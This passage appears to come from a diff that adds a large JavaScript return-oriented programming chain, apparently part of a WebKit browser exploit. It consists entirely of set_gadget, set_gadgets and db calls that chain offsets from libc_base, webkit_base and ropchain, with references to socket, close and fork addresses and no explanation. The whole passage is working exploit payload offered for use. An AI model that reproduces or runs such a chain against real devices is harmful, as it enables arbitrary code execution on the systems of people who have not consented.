+libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+407816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+407832, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+407952, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+407936, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +socket_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+409280, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +close_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+410608, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+410680, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+410744, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([216, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+149872, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+713278, +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+410944, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+411024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+411080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+411176, +webkit_base+4687784, +libc_base+768796 +]); +db([26, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+411272, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+411288, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+411376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+411432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+411520, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+772328, +webkit_base+4687784, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+713278, +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+411720, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967295, 4294967295]); +set_gadget(libc_base+768796,); +db([7, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+856504, +libc_base+507828, +libc_base+713278, +ropchain+411800, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967120, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967128, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+207036, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967136, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+768796, +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+411992, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+412072, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+412128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+412224, +webkit_base+4687784, +libc_base+768796 +]); +db([22, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+412320, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+412336, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+412424, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+412480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+412568, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967144, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967152, 4294967295]); +set_gadgets([ +libc_base+772328, +webkit_base+14572727, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967160, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+165442, +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+412760, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+412840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+412896, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+412992, +webkit_base+4687784, +libc_base+768796 +]); +db([24, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+413088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+413104, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+413192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+413248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+413336, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967168, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967176, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+765023, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967184, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+768796, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+413552, +webkit_base+4687784, +libc_base+772328 +]); +db([20, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967200, 4294967295]); +set_gadgets([ +libc_base+772328, +fork_addr + 10, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967208, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+713278, +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+413736, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+413816, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+413872, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+413968, +webkit_base+4687784, +libc_base+768796 +]); +db([20, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+414064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+414080, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+414168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+414224, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+414312, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967216, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967224, 4294967295]); +set_gadgets([ +libc_base+772328, +webkit_base+4687784, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967232, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+772328, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967240, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+414528, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967248, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+165442, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+414680, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+772328, +webkit_base+1420514, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+414832, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+489696, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+414984, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+713278, +ropchain+415056, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+415104, +webkit_base+4687784, +webkit_base+12069057 +]); +db([0, 0]); +set_gadgets([ +libc_base+768796, +ropchain+415248, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+415224, +webkit_base+4687784, +webkit_base+2799478, +libc_base+713278, +ropchain+415240, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+863109, +libc_base+713278, +ropchain+415368, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+415384, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+415352, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+415488, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+415504, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+415624, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+415608, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+415712, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+415696, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+415816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+415832, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+415952, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+415936, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+416024, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+416088, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([16, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+416176, +webkit_base+4687784, +libc_base+768796, +ropchain+416232, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+424064, +libc_base+863109, +libc_base+713278, +ropchain+416296, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+416440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+416456, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+416600, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+416568, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+416584, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+416696, +webkit_base+4687784, +libc_base+768796 +]); +db([28607256, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([28607256, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+416840, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+416856, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+416824, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+416992, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+417080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+417096, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+417256, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+417288, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+417240, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+417272, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+417384, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+417368, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+417480, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+417568, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+417584, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+417728, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+417696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+417712, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+417832, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+417920, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+417984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+418048, 